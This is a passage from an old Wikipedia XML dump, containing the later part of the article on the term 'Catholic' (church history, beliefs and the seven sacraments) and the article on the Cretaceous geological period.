::1) those like the [[Roman Catholic Church|Roman Catholic]], [[Eastern Orthodox Church|Eastern Orthodox]], [[Oriental Orthodoxy|Oriental Orthodox]], and [[Anglican Communion|Anglican]] Churches having [[Apostolic Succession]] from the early Church; and 
::2) those who claim to be spiritual descendants of the [[Twelve Apostles|Apostles]] but have no discernable institutional descent from the historic Church, and normally do not refer to themselves as catholic.

Of those in the first category, some see their Church as ''the'' Catholic Church, others see their Church as only ''part of'' the Catholic Church.

For Protestants, most of whom consider themselves to be spiritual descendants (category 2, above), this affirmation refers to their belief in the ultimate unity of all Churches under one [[God]] and one [[Salvation#Christian views of salvation#Roman Catholicism|Saviour]], rather than in one visibly unified institutional Church (category 1, above). In this usage ''catholic'' is sometimes written with a lower-case &quot;c&quot;. The Western [[Apostles' Creed]], stating &quot;I believe in...the holy catholic church...&quot; (sometimes capitalised), is thus recited in [[Protestant]] worship services (with the notable exception of German Lutherans, who substitute &quot;Christian&quot; for &quot;catholic&quot;). The [[Nicene Creed]] likewise declares belief in &quot;one, holy, catholic and apostolic Church&quot;.  It should be noted historically, however, that apostolicity in the form of [[apostolic succession|tactile succession]] as well as spiritual descent has been maintained by certain national Lutheran Churches (now part of the [[Porvoo Communion]]), and has been restored in this fully visible form to the Evangelical Lutheran Church in Canada and the Evangelical Lutheran Church in America through the procedures of full communion agreements with their national Anglican counterparts.

== Brief organizational history of the Church ==

The early Catholic Church came to be organized under the three [[patriarch]]s of [[Rome]], [[Alexandria]] and [[Antioch]], to which later were added the patriarchs of [[Constantinople]] and [[Jerusalem]]. The [[Bishop of Rome]] was at that time recognized as first among them, as is stated, for instance, in canon 3 of the [[First Council of Constantinople]] ([[381]]) - many interpret &quot;first&quot; as meaning here [[first among equals]] - and doctrinal or procedural disputes were oftentimes referred to Rome, as when, on appeal by St Athanasius against the decision of the Council of Tyre ([[335]]), [[Pope Julius I]], who spoke of such appeals as customary, annulled the action of that council and restored Athanasius and Marcellus of Ancyra to their sees. The Bishop of Rome was also considered to have the right to convene ecumenical councils. When the Imperial capital moved to Constantinople, Rome's influence was sometimes challenged. Nonetheless, Rome claimed special authority because of its connection to [[Saint Peter]][[#Footnotes|&lt;font size=-2&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/font&gt;]] and [[Paul of Tarsus|Saint Paul]], who, all agreed, were martyred and buried in Rome, and because the bishop of Rome saw himself the direct successor of Saint Peter.

The [[431]] [[Council of Ephesus]], the Third [[Ecumenical Council]], was chiefly concerned with Nestorianism, which emphasized the distinction between the humanity and divinity of Jesus and taught that, in giving birth to Jesus Christ, the Virgin Mary could not be spoken of as giving birth to God. This Council rejected Nestorianism and affirmed that, as humanity and divinity are inseparable in the one person of Jesus Christ, his mother, the Virgin Mary, is thus [[Theotokos]], God-bearer, Mother of God. The first great rupture in the Church followed this Council.  Those who refused to accept the Council's ruling were largely [[Iran|Persian]] and are represented today by the [[Assyrian Church of the East]] and related Churches, which, however, do not now hold a &quot;Nestorian&quot; theology. They are often called Ancient Oriental Churches.

The next major break was after the [[Council of Chalcedon]] ([[451]]). This Council repudiated [[Monophysitism|Eutychian Monophysitism]] which stated that the divine nature completely subsumed the human nature in Christ. This Council declared that Christ, though one person, exhibited two natures &quot;without confusion, without change, without division, without separation&quot; and thus is both fully God and fully human. The Alexandrian Church rejected the terms adopted by this Council, and the Christian Churches that follow the tradition of non-acceptance of the Council - they are not Monophysite in doctrine - are referred to as Pre-Chalcedonian or [[Oriental Orthodoxy#Oriental Orthodox Communion|Oriental Orthodox]] Churches.

The next great rift within Christianity was in the [[11th century]]. Doctrinal disputes, as well as conflicts between methods of Church government, and the evolution of separate rites and practices, precipitated a split in [[1054]] that divided the Church, this time between a &quot;West&quot; and an &quot;East&quot;. [[England]], [[France]], the [[Holy Roman Empire]], [[Scandinavia]], and Western [[Europe]] in general were in the Western camp, and [[Greece]], [[Romania]], [[Russia]] and many of other Slavic lands, [[Anatolia]], and the Christians in [[Syria]] and [[Egypt]] who accepted the Council of Chalcedon made up the Eastern camp. This division is called the [[East-West Schism]].

The fourth major division in the Church occurred in the [[16th century]] with the [[Protestant Reformation]], after which many parts of the Western Church either entirely rejected the teachings of the Roman Catholic Church and became known as &quot;[[Reformed]]&quot; or &quot;[[Protestantism|Protestant]]&quot;, or else repudiated Roman papal authority and accepted decisions by the civil ruler in religious matters.

A much less extensive rupture occurred when, after the Roman Catholic Church's [[First Vatican Council]], in which it officially proclaimed the dogma of papal infallibility, clusters of Catholics in the Netherlands and in German-speaking countries formed the [[Old Catholic Church|Old-Catholic (Altkatholische) Church]] and other [[Independent Catholic Churches]].

All of the preceding groups, excluding some Protestants, consider themselves fully and completely Catholic, either as part of the Catholic Church or as the one and only Catholic Church.

== The Roman Catholic Church ==
{{Main|Roman Catholic Church}}
&quot;The Catholic Church&quot;, when used not of an abstract invisible entity, but of a visible concrete body of Christians, usually refers to what is also called &quot;the Roman Catholic Church&quot;.

This Church does not often use the name &quot;Roman Catholic Church&quot; for itself, except in its relations with other Christian groups. Even in those relations, &quot;Catholic Church&quot; may also appear, as in some documents drawn up in common with the [[Lutheran World Federation]] and the Assyrian Church of the East. On the other hand, the Church has in fact applied the adjective &quot;Roman&quot; to itself in its entirety even in some internal documents, such as the Dogmatic Constitution ''de fide catholica'' of the [[First Vatican Council]], which was attended by Eastern as well as Western bishops. When it does apply the adjective &quot;Roman&quot; to itself, it understands this word only as pointing to the centrality for it of the see of [[Rome]], with which all its members, laity and clergy alike, are necessarily in [[full communion]]. Outsiders, in contrast, considering the use of the name &quot;Catholic Church&quot; by this Church to be contentious, use the term &quot;Roman Catholic Church&quot; to imply that it is only the &quot;Roman&quot; section of some larger, perhaps abstract, entity that they call the Catholic Church and that, in their view, also includes other sections not in communion with Rome, a usage that members of the Church in question in turn see as contentious.

Frequently enough, some members of this Church, especially those of [[Eastern Rite]], apply the term &quot;Roman Catholic Church&quot; not, as in the Church's official documents, to the Church as a whole, but only to its [[Latin Rite]] component. Unlike the outsiders just mentioned, these consider communion with the see of Rome essential for all members of the Catholic Church.

== Other Catholics ==

In Western Christianity the principal groups that regard themselves as &quot;Catholic&quot; without [[full communion]] with the Pope are the [[Chinese Patriotic Catholic Association]] and some elements of [[Anglican|Anglicanism]] (&quot;High Church Anglicans&quot; or &quot;[[Anglo-Catholicism|Anglo-Catholics]]&quot;). Smaller groups include the [[Old Catholic]]s, the [[Aglipayans]] ([[Philippine Independent Church]]), and the [[Polish National Catholic Church]] of America. Their spiritual beliefs and practices are similar to those of Catholics of the [[Latin Rite]], from which they emerged, but they reject the [[Pope]]'s claimed status and authority. 

The [[Anglican Communion]] is in practice divided into two wings of unequal size, &quot;[[High Church|High Church Anglicans]]&quot;, also called the [[Anglo-Catholicism|Anglo-Catholics]], said to be the great majority in most Anglican/Episcopal Churches, and &quot;[[Low Church|Low Church Anglicans]]&quot;, also known as the [[evangelism|Evangelical]] wing. Though all elements within the Anglican Communion recite the same creeds, Low Church Anglicans regard the word ''Catholic'' in the ideal sense given above, while High Church Anglicans treat it as a name of an identifiable Church which they consider to embrace themselves together with the Catholic, Old-Catholic, and several Eastern Churches. 

Anglo-Catholicism has no official fixed tenets, other than rejection of Roman &quot;[[Ultramontanism]],&quot; but maintains similarities to both Roman Catholicism and Eastern/Oriental Orthodoxy, as well as to related spirituality, including a belief in seven sacraments, devotion to the [[Mary, the mother of Jesus|Virgin Mary]] and [[saint]]s, and emphasize the description of their ordained clergy as &quot;priests&quot;, addressed as &quot;Father&quot;(or, in the case of women priests, &quot;Mother&quot;). They have re-emphasized the wearing of vestments and the use of candles and incense and other ceremonial elements in church liturgy, sometimes describing their [[Eucharist]]ic celebrations with the Latin-derived word &quot;Mass&quot;. Some Anglo-Catholics believe in [[Transubstantiation]], as opposed to [[Consubstantiation]], or in other ideas of [[metousiosis]] or [[Real Presence]]. The development of the Anglo-Catholic wing as a distinct party occurred largely in the [[nineteenth century]], and is strongly associated with the [[Oxford Movement]]. Two of its leading lights, [[John Henry Cardinal Newman|John Henry Newman]] and [[Henry Edward Manning]], both ordained Anglican priests, ended up joining the Catholic Church, becoming [[Cardinal (Catholicism)|cardinal]]s. The parallel &quot;party&quot; among Lutherans, High Church Lutheranism, developed a movement known as [[Neo-Lutheranism]].

The [[Eastern Orthodox Church|Eastern Orthodox]] and [[Oriental Orthodoxy|Oriental Orthodox]] Churches, as well as the [[Assyrian Church of the East]], each consider themselves to be the universal and true Catholic Church.  In various permutations, these bodies typically regard other and Western Catholics as heretical and as having thus left the One, Holy, Catholic, and Apostolic Church. The [[patriarch]]s of these Eastern Orthodox and Oriental Orthodox Churches are [[autocephaly|autocephalous]] [[bishop|hierarchs]], which roughly means that each is independent of the direct oversight of another bishop, although still subject, according to their distinct traditions, either to the [[synod]] of bishops of each one&amp;rsquo;s jurisdiction, or only to a common decision of the patriarchs of their own communion. They are willing to concede a primacy of honor to the Roman See, but not of authority, nor do they accept its claim to universal and immediate jurisdiction. This is similar to the position taken by the [[Lutheran World Federation]], the [[Anglican Communion]], and the [[Old Catholic Church]].

== Distinctive beliefs and practices ==

=== Beliefs ===

Catholic Churches share certain essential distinctive beliefs and practices (though some Anglicans and Lutherans differ in regard to emphasis and particular pieties):

* [[Papal Infallibility]]
*Direct and continuous organizational descent from the original church founded by Jesus (see e.g. [[Gospel of Matthew|Mt]] [http://drbo.org/cgi-bin/d?b=drb&amp;bk=47&amp;ch=016&amp;l=18 16:18]).
*Possession of the &quot;threefold ordained ministry&quot; of [[Bishop]]s, [[Priest]]s and [[Deacon]]s.
*All ministers are ordained by, and subject to, Bishops, who pass down sacramental authority by the &quot;laying-on of hands&quot;, having themselves been ordained in a direct line of succession from the Apostles (see [[Apostolic Succession]]).
*Belief that the Church is the vessel and deposit of the fullness of the teachings of Jesus and the Apostles from which the Scriptures were formed. This teaching is preserved in both written [[Scripture]] and in unwritten [[Tradition]], neither being independent of the other.
*A belief in the necessity of [[sacrament]]s (generally counted as seven).
*The use of sacred images, candles, vestments and music, and often incense and water, in worship.
*Belief that the [[Eucharist]] is really, truly, and objectively the Body and Blood of Christ, through the [[Real Presence]]. Those that are quite distinctively Catholic believe that adoration and worship is due to the Eucharist, as the body and blood of Christ.
*[[Veneration]] of [[Mary, the mother of Jesus]] as the [[Blessed Virgin Mary]] or [[Theotokos]], and veneration of the [[saint]]s.
*A distinction between ''adoration'' (''[[latria]]'') for God, and ''veneration'' (''dulia'') for saints. The term ''hyperdulia'' is used for a special veneration accorded to the Virgin Mary among the saints. Some do not accept the distinction between hyperdulia and dulia.
*The use of [[prayer for the dead]].
*Requests to the departed saints for intercessory prayers.
*Belief in Exorcisms

=== Sacraments or Sacred [[Mysteries]] ===
{{Main|Catholic sacraments}}
{{Main|Sacred Mysteries}}
Catholics administer seven [[Sacrament|sacraments]] or &quot;sacred mysteries&quot;, traditionally listed in the following order (cf. ''Catechism of the Catholic Church''):
* [[Baptism]]
* [[Confirmation (sacrament)|Confirmation]], also called [[Chrismation]]
* [[Eucharist]]
* [[Confession|Reconciliation of a Penitent]]
* [[Anointing of the Sick]]
* [[Holy Orders]]
* [[Holy Matrimony]] also known as &quot;Marriage&quot; 

While the word ''[[mystery]]'' is used not only of these rites, but also with other meanings with reference to revelations of and about God and to God's mystical interaction with creation, the word ''[[sacrament]]'' (Latin: ''a solemn pledge''), the usual term in the West, refers specifically to these rites.

'''[[Baptism]]''' is the first sacrament of Christian initiation, the basis for all the other sacraments. Catholics consider baptism conferred in most Christian denominations &quot;in the name of the Father, and of the Son, and of the Holy Spirit&quot; (cf. Matthew 28:19) to be valid, since the effect is produced through the sacrament, independently of the faith of the minister, though not of the minister's intention.  As stated in the [[Nicene Creed]], Baptism is &quot;for the remission of sins&quot;, not only personal sins, but also of [[original sin]], which it remits even in infants who have committed no actual sins. Expressed positively, remission of sins means bestowal of the sanctifying grace by which the baptized person shares the life of God. The initiate &quot;puts on Christ&quot; (Galatians 3:27), and is &quot;buried with him in baptism ... also raised with him through faith in the working of God&quot; (Colossians 2:12).

'''[[Confirmation (sacrament)|Confirmation]]''' or '''Chrismation''' is the second sacrament of Christian initiation. Through it, the gift of the Holy Spirit conferred in baptism is &quot;strengthened and deepened&quot; (see ''[[Catechism of the Catholic Church]]'', [http://www.vatican.va/archive/ccc_css/archive/catechism/p2s2c1a2.htm §1303]) by a sealing.  Some theologies consider this to be the outward sign of the inner &quot;Baptism of the Holy Spirit,&quot; the special gifts (or ''charismata'') of which may remain latent or become manifest over time according to God's will. Its &quot;originating&quot; minister is a validly consecrated bishop; if a priest (a &quot;presbyter&quot;) confers the sacrament - as is done ordinarily in Eastern, Anglican, and Lutheran Churches and in particular cases in the Latin Rite of the Roman Catholic Church - the link with the higher order is indicated by the use of chrism (also called myrrh) blessed by a bishop (in an [[Eastern Orthodox Church]], by the patriarch). In the East, and among Anglicans and Lutherans, the sacrament is administered immediately after baptism. In the West administration came to be postponed until the recipient's early adulthood; but in view of the earlier age at which children are now admitted to reception of the Eucharist, it is more and more restored in the Roman Catholic Church to the traditional order and administered before giving the third sacrament of Christian initiation.  In the Lutheran and Anglican traditions, &quot;Confirmation&quot; has come to be seen as a mature expression of faith, graced by the laying-on of a bishop's hands, and separated as a rite from the actual conferring of the chrismation.   

The '''[[Eucharist]]''' is the sacrament (the third of Christian initiation) by which, according to Catholic doctrine, Catholics receive their ultimate &quot;daily bread,&quot; or &quot;bread for the journey,&quot; by partaking of and in the Body and Blood of [[Jesus]] Christ and being participants in Christ's one eternal sacrifice. The bread and wine used in the rite are, according to Catholic faith, in the [[mystery|mystical]] action of the Holy Spirit, transformed to be objectively Christ's Body and Blood, his [[Real Presence]]. This transformation is suggested through the concept of [[metousiosis]] in the East and in several Western Churches.  The Roman Catholic Church has officially adopted the philosophical formula of [[transubstantiation]] to describe the change in the elements (the bread and wine).

'''The Reconciliation of a Penitent''' (or, simply, ''Reconciliation''), ''Penance'' and ''[[Confession]]'' are names given to the first of the two sacraments of healing. It is also called the sacrament of '''conversion''', of '''forgiveness''', and of '''absolution''' (''Catechism of the Catholic Church'', 1423-1424).[http://www.usccb.org/catechism/text/pt2sect2chpt2.htm#i] It is the sacrament of spiritual healing of a baptized person from the distancing from God involved in actual sins committed. It involves four elements: the penitent's contrition for sin (without which the rite does not have its effect), confession to a priest (it may be spiritually helpful to confess to another and doing such is actually encouraged within the Church, but only a priest has the power to administer absolution), absolution by the priest, and satisfaction (signs of repentance that help the penitent's growth).  In early Christian centuries, the fourth element was quite onerous and generally preceded absolution, but now it usually involves a simple task (in some traditions called a &quot;penance&quot;) for the penitent to perform, to make some reparation and as a medicinal means of strengthening against further sinning. 

'''[[Anointing of the Sick]]''' (or '''Unction''') is the second sacrament of healing. In it those who are suffering a serious illness are anointed by a priest with oil blessed specifically for that purpose. &quot;Seriously sick&quot; does not necessarily mean &quot;in immediate danger of death&quot;. In past centuries, when such a restrictive interpretation was customary, the sacrament came to be known as &quot;Extreme Unction&quot;, i.e. &quot;Final Anointing&quot;, as it still is among [[traditionalist Catholics]]. It was then conferred only as one of the &quot;Last Rites&quot;. The other &quot;Last Rites&quot; are Confession (if the dying person is physically unable to confess, at least absolution, conditional on the existence of contrition, is given), and the Eucharist, which, when administered to the dying, is known as &quot;Viaticum&quot;, a word whose original meaning in [[Latin (language)|Latin]] was &quot;provision for a journey&quot;. Since the advent of the AIDS crisis, the conferring of Anointing of the Sick has become customary at Communion-time in many urban Anglican and Lutheran parishes.

'''The Sacrament of Order''' is that which integrates men (and in some jurisdictions, also women) into the '''[[Holy Orders]]''' of bishops, priests (presbyters), and deacons, the threefold order of &quot;administrators of the mysteries of God&quot; (1 Corinthians 4:1), giving the person the mission to teach, sanctify, and govern, the three functions referred to in [[Latin (language)|Latin]] as the &quot;tria munera&quot;. Only a bishop may administer this sacrament, as only a bishop holds the fullness of the Apostolic Ministry. Ordination as a bishop makes one a member of the body that has succeeded to that of the Apostles. Ordination as a priest configures a person to Christ the Head of the Church and the one essential Priest, empowering that person, as the bishops' assistant and vicar, to preside at the celebration of divine worship, and in particular to confect the sacrament of the Eucharist, acting &quot;in persona Christi&quot; (in the person of Christ). Ordination as a deacon configures the person to Christ the Servant of All, placing the deacon at the service of the Church, especially in the fields of the ministry of the Word, service in divine worship, pastoral guidance and charity.

'''Marriage''' (or '''[[Holy Matrimony]]''') joins two persons for mutual help and love (the unitive purpose), consecrating them for their particular mission of building up the Church and the world, and providing grace for accomplishing that mission. In Roman Catholic theology, the primary purpose of marriage seen as the bearing and raising children (the procreative purpose), and marriage may only be between one man and one woman. Western tradition sees the sacrament as conferred by the canonically expressed mutual consent of the partners in marriage; Eastern and some recent Western theologies not in communion with the see of Rome view the blessing by a priest as constituting the sacramental action.

== Footnotes ==
*&lt;sup&gt;1&lt;/sup&gt; Webster's College Dictionary, 1991.
*&lt;sup&gt;2&lt;/sup&gt; St Peter is sometimes called &amp;ldquo;the first pope&amp;rdquo;. However, if &amp;ldquo;pope&amp;rdquo; is defined as &amp;ldquo;successor of St Peter&amp;rdquo;, [[St. Linus]] is the first pope. The [[Catholic Church]] teaches that the college of the bishops has succeeded, in the Church, to the group of the apostles, not that the bishops are apostles; and that, among the bishops, primacy belongs to the Bishop of Rome, as primacy among the apostles belonged to St Peter, not that the pope is on the same level as the Apostle Peter ([http://www.vatican.va/archive/catechism/ccc_toc.htm &amp;lsquo;&amp;rsquo;Catechism of the Catholic Church,&amp;rsquo;&amp;lsquo;] 880-881).

== Sources ==
*[http://www.newadvent.org/cathen/07644a.htm &quot;St. Ignatius of Antioch&quot;, Catholic Encyclopedia (1910).]
*[http://www.fordham.edu/halsall/ancient/434lerins-canon.html Chapter 4 of ''The Comminatorium'']
*[http://sor.cua.edu/History/index.html Patriarchate of Antioch, history]
*[http://www.cired.org/ Holy Apostolic Catholic Assyrian Church of the East, history]
*[http://www.patriarchate.org/ Ecumenical Patriarchate of Constantinople]
*[http://www.ccel.org/bible/kjv/preface/pref1.htm Preface to the King James Bible]
*[http://www.ucl.ac.uk/~ucgbmxd/saepius.htm ''Sæpius Officio'', Encyclical of the Archbishops of Canterbury and York, 1897]
*[http://www.affirmingcatholicism.org/ Anglo-Catholic ''Affirming Catholicism'' Website]
*[http://www.anglocatholicsocialism.org/ Anglo-Catholic history]
*[http://www.elca.org/communication/brief.html#whylutheran Evangelical Lutheran Church in America: ''Why a Lutheran Church''?]
*[http://www.staugustineshouse.org/index.html St. Augustine's House Lutheran Monastery]
*[http://www.vatican.va/ The Holy See &amp;mdash; The Vatican's Official Website]
*[http://www.vatican.va/archive/catechism/ccc_toc.htm Catechism of the Catholic Church]
*[http://www.catholic.com Catholic Answers (catholic.com)] &amp;mdash; Catholic [[Apologetics]]
*[http://cuf.org Catholics United for the Faith]  &amp;mdash; An orthodox/conservative Catholic advocacy organization
*[http://www.aboutcatholics.com/ About Catholics] &amp;mdash; Information about specific beliefs
*[http://www.ewtn.com/ Eternal Word Television Network] &amp;mdash; A Catholic Broadcast Organization
*[http://www.usccb.org/statements.shtml US Conference of Catholic Bishops - Joint statements]

== Additional reading ==
*''Without Roots: The West, Relativism, Christianity, Islam'' by Pope Benedict XVI, formerly Cardinal Joseph Ratzinger (Basic Books, 0465006345, 2006).
*''Catechism of the Catholic Church'' &amp;mdash; English translation (Libreria Editrice Vaticana, 2000). ISBN 1574551108 [http://www.vatican.va/archive/catechism/ccc_toc.htm]
*H. W. Crocker III, ''Triumph &amp;mdash; The Power and the Glory of the Catholic Church: A 2,000-Year History''  (Prima Publishing, 2001). ISBN 0761529241
*Eamon Duffy, ''Saints and Sinners: A History of the Popes'' (Yale Nota Bene, 2002). ISBN 0300091656
*K. O. Johnson, ''Why Do Catholics Do That?'' (Ballantine, 1994). ISBN 0345397266

== See also ==

*[[Roman Catholic Church]]
*[[Criticism of the Catholic Church]]
*[[Catholic Bible Contradictions]]
*[[Anti-Catholicism]]
*[[Catechism of the Catholic Church]]
*[[Roman Catholics by country]]
*[[Ruthenian Catholic Church]]
*[[Assyrian Church of the East]]
*[[Oriental Orthodox]]
*[[Eastern Orthodox]]
*[[Christianity]]
*[[List of Christian denominations]]
*[[History of Christianity]]
*[[Neo-Lutheranism]]
*[[Anglo-Catholicism]]
*[[Old Catholic Church]]
*[[Independent Catholic Churches]]
*[[Lapsed Catholic]]
*[[Liturgical Year]]
*[[Real Presence]]
*[[Eucharist]]
*[[Divine Liturgy]]
*[[Mass (liturgy)|Mass]]
*[[Order (religious)|Religious Orders]]
*[[Purgatory]]
*[[Saint]]
*[[Roman Catholic Church sex abuse scandal|Sex abuse scandal]]
*[[Traditionalist Catholic]]
*[[Vatican City]]
*[[List of popes]]

== External links ==

*[http://www.vatican.va/ The Holy See &amp;mdash; The Vatican's Official Website]
*[http://www.newadvent.org New Advent]  A library of public domain Catholic writings
*[http://www.thetablet.co.uk/ The Tablet - International Catholic weekly]
*[http://www.firstthings.com/ First Things, magazine of US Catholic opinion]
*[http://www.americamagazine.org/ America magazine, published by the Jesuits]
*[http://ncronline.org/ National Catholic Reporter]
*[http://www.commonwealmagazine.org/ Commonweal Magazine - published by American lay Catholics]
*[http://www.catholic.com Catholic Answers]  The largest Catholic Apologetics Organization in North America.  Dedicated to the reasoned spread and defense of the Catholic Faith.
*[http://www.catholic-convert.com/DesktopDefault.aspx Defenders of the Catholic Faith] Web site of renowned Catholic author Steve Ray, a convert from the Baptist Faith.  
*[http://www.scotthahn.com/ Web site of Dr. Scott Hahn]  Web site of world-famous Catholic convert, Dr. Scott Hahn.  A convert from Prebyterianism, Dr. Scott Hahn's studies of theology, history, and Scripture have lead thousands into the Catholic Church from all over the world.
*[http://www.chnetwork.org/ The Coming Home Network]  The Coming Home Network was founded by Marcus Grodi a former Protestant pastor as a means of helping Protestant clergy all over the world convert to Catholicism.
*[http://wikicath.org WikiCath] An online encyclopedia that anyone can edit with the goal of compiling all knowledge of the Catholic Church, Her Sacred Tradition, and Her dignified history.

[[Category:Roman Catholic Church]]
[[Category:Christian theology| ]]

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    </revision>
  </page>
  <page>
    <title>Cretaceous</title>
    <id>5615</id>
    <revision>
      <id>41751883</id>
      <timestamp>2006-03-01T14:10:30Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.68.99.139|209.68.99.139]] ([[User talk:209.68.99.139|talk]]) to last version by Mr Chuckles</comment>
      <text xml:space="preserve">The '''Cretaceous''' [[period (geology)|period]] is one of the major divisions of the [[geologic timescale]], reaching from the end of the [[Jurassic]] period, about 146 million years ago ([[annum|Ma]]), to the beginning of the [[Paleocene]] [[epoch (geology)|epoch]] of the [[Tertiary]] period (65.5 Ma). The end of the Cretaceous also defines the boundary between the [[Mesozoic]] and [[Cenozoic]] [[era (geology)|eras]].


{{Mesozoic Footer}}

==Name and dating==
As with other older geologic periods, the rock beds that define the Cretaceous are well identified, but the exact dates of the period's start and end are uncertain by a few million years. No great [[extinction]] or burst of diversity separated the Cretaceous from the Jurassic. However, the end of the period is most sharply defined, being placed at an [[iridium]]-rich layer found worldwide that is believed to be associated with the [[Chicxulub Crater|Chicxulub impact crater]] in [[Yucatan]] and the [[Gulf of Mexico]]. This layer has been tightly dated at 65.5 Ma. This [[bolide]] collision is probably responsible for the major, extensively-studied [[Cretaceous-Tertiary extinction event]]. The Cretaceous (from [[Latin]] ''creta'', for chalk) was named for the extensive beds of chalk ([[calcium carbonate]] deposited by the shells of marine [[invertebrate]]s) found in the upper Cretaceous of [[Britain]] and adjacent continental [[Europe]].

==Divisions==

The Cretaceous is usually separated into [[Lower Cretaceous|Lower]] and [[Upper Cretaceous]] [[epoch (geology)|Epoch]]s. The [[faunal stage]]s from youngest to oldest are: 
{|
| '''Upper/Late Cretaceous'''
|-
| [[Maastrichtian]]
| (70.6 &amp;plusmn; 0.6 &amp;ndash; 65.5 &amp;plusmn; 0.3 [[annum|Ma]])
|-
| [[Campanian]]
| (83.5 &amp;plusmn; 0.7 &amp;ndash; 70.6 &amp;plusmn; 0.6 Ma)
|-
| [[Santonian]]
| (85.8 &amp;plusmn; 0.7 &amp;ndash; 83.5 &amp;plusmn; 0.7 Ma)
|-
| [[Coniacian]]
| (89.3 &amp;plusmn; 1.0 &amp;ndash; 85.8 &amp;plusmn; 0.7 Ma)
|-
| [[Turonian]]
| (93.5 &amp;plusmn; 0.8 &amp;ndash; 89.3 &amp;plusmn; 1.0 Ma)
|-
| [[Cenomanian]]
| (99.6 &amp;plusmn; 0.9 &amp;ndash; 93.5 &amp;plusmn; 0.8 Ma) 
|-
|  &amp;nbsp;
|-
| '''Lower/Early Cretaceous'''
|-
| [[Albian]]
| (112.0 &amp;plusmn; 1.0 &amp;ndash; 99.6 &amp;plusmn; 0.9 Ma) 
|-
| [[Aptian]]
| (125.0 &amp;plusmn; 1.0 &amp;ndash; 112.0 &amp;plusmn; 1.0 Ma)
|-
| [[Barremian]]
| (130.0 &amp;plusmn; 1.5 &amp;ndash; 125.0 &amp;plusmn; 1.0 Ma)
|-
| [[Hauterivian]]
| (136.4 &amp;plusmn; 2.0 &amp;ndash; 136.4 &amp;plusmn; 1.5 Ma)
|-
| [[Valanginian]]
| (140.2 &amp;plusmn; 3.0 &amp;ndash; 136.4 &amp;plusmn; 2.0 Ma)
|-
| [[Berriasian]]
| (145.5 &amp;plusmn; 4.0 &amp;ndash; 140.2 &amp;plusmn; 3.0 Ma)
|}

==Paleogeography==
During the Cretaceous, the late [[Paleozoic]] - early Mesozoic [[supercontinent]] of [[Pangea]] completed its breakup into present day [[continent]]s, although their positions were substantially different at the time.  As the [[Atlantic Ocean]] widened and [[South America]] drifted westwards, [[Gondwana]] itself broke up as [[Antarctica]] and [[Australia]] rifted away from [[Africa]] (though [[India]] and [[Madagascar]] remained attached). Such active rifting lifted great undersea mountain chains along the welts, raising [[sea level|eustatic sea level]]s worldwide. To the north of Africa the [[Tethys Sea]] continued to narrow. Within the continents, a broad shallow sea advanced across central [[North America]] (the [[Western Interior Seaway]]) and then started to recede, leaving thick marine deposits sandwiched between [[coal]] beds.

Other important Cretaceous exposures occur in [[Europe]] and [[China]]. In the area that is now India, massive lava beds called the [[Deccan Traps]] were laid down in the very late Cretaceous and early Paleocene. Climates were warm, and even polar regions had no permanent [[ice]].

==Flora==

[[Angiosperm|Flowering plant]]s first appeared, although they did not become predominant until near the end of the period ([[Campanian|Campanian age]]). Their evolution aided by the appearance of [[bee]]s, in fact angiosperms and insects are a good example of mutual evolution. The first representatives of many modern trees, including [[fig]]s, [[Platanus|planes]] and [[magnolia]]s for example, appear in the Cretaceous.  At the same time, some earlier Mesozoic [[gymnosperm]]s, like [[Conifer]]s continued to thrive, although other taxa like [[Bennettitales]] died out before the end of the period.

==Fauna==

===Land animals===

On land, [[mammal]]s were a small and still relatively minor component of the [[Fauna (animals)|fauna]]. The fauna was dominated by [[archosaur]]ian [[reptile]]s, especially [[dinosaur]]s, which were at their most diverse. [[Pterosaur]]s were common in the early and middle Cretaceous, but as the Cretaceous proceeded faced growing competition from the [[adaptive radiation]] of [[bird]]s, and by the end of the period only two highly specialised [[Family (biology)|families]] remained. 

A fascinating glimpse of life in the Early Cretaceous is provided by the [[Liaoning]] [[Lagerstatte|lagerstätte]] ([[Chaomidianzi formation]]) in China, where the beautifully preserved remains of a number of types of small dinosaurs, birds, and mammals have been found.  The [[coelurosaur]] dinosaurs found there represent a number of types of the group [[maniraptor]]a, which is transitional between dinosaurs and birds, and are remarkable for the presence of hair-like [[feather]]s.

During the Cretaceous the [[insect]]s began to diversify, and the oldest known [[ant]]s, [[termite]]s and [[Butterfly|butterflies]] appeared. [[Aphid]]s, [[grasshopper]]s, and [[gall wasp]]s appeared.  Another important insect to evolve was the [[eusocial]] bee, which was integral to the [[ecology]] and evolution of flowering plants. 

===Marine animals===

In the seas, [[batoidea|rays]], modern [[shark]]s and [[teleost]]s  became common. Marine reptiles included [[ichthyosaur]]s in the early and middle of the Cretaceous, [[plesiosaur]]s throughout the entire period, and [[mosasaur]]s in the late Cretaceous. 

[[Baculite]]s, a straight-shelled form of [[ammonite]], flourished in the seas. The [[Hesperornithiformes]] were flightless, marine diving birds that swam like [[grebe]]s. Globotruncanid [[Foraminifera]] thrived. The Cretaceous also saw the first radiation of the [[diatom]]s in the oceans (freshwater diatoms did not appear until the [[Miocene]]).

===Extinction===
''Main article: [[Cretaceous-Tertiary extinction event]]''

In the [[extinction event]] that defines the end of the Cretaceous, a significant number of species (~50%) and known families (~25%) disappeared. Plants were nearly unscathed, while marine organisms were hit the hardest. These include a large number (~95%) of types of [[Foraminifera|planktic foraminifers]] (excepting the [[Globigerinida]]), an even larger number of [[Coccolithophore]]s, all the [[ammonite]] and [[belemnite]] [[cephalopod]]s, and all reef-forming [[rudists|rudist]] [[Mollusca|molluscs]]), as well as all marine reptiles except [[turtle]]s and [[crocodile]]s. [[Dinosaur]]s are the most famous victims of the Cretaceous extinction. Dinosaurs that were unique to the very end of the period (such as ''[[Tyrannosaurus rex]]'', ''[[Triceratops]]'', and ''[[Ankylosaurus]]'') were wiped out. The last of the [[pterosaur]]s went extinct and the vast majority of birds did as well, including the [[Enantiornithes]] and [[Hesperornithiformes]].

==See also==
*[[Chalk Formation]]
*[[Gault Clay]]
*[[Western Interior Seaway]]

==References and further reading==
Neal L Larson, Steven D Jorgensen, Robert A Farrar and Peter L Larson. ''Ammonites and the other Cephalopods of the Pierre Seaway''. Geoscience Press, 1997.

{{Cretaceous Footer}}

[[Category:Cretaceous| ]]

[[ca:Cretaci]]
[[cs:Křída]]
[[da:Kridttiden]]
[[de:Kreide (Geologie)]]
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[[es:Cretáceo]]
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[[fr:Crétacé]]
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[[he:קרטיקון]]
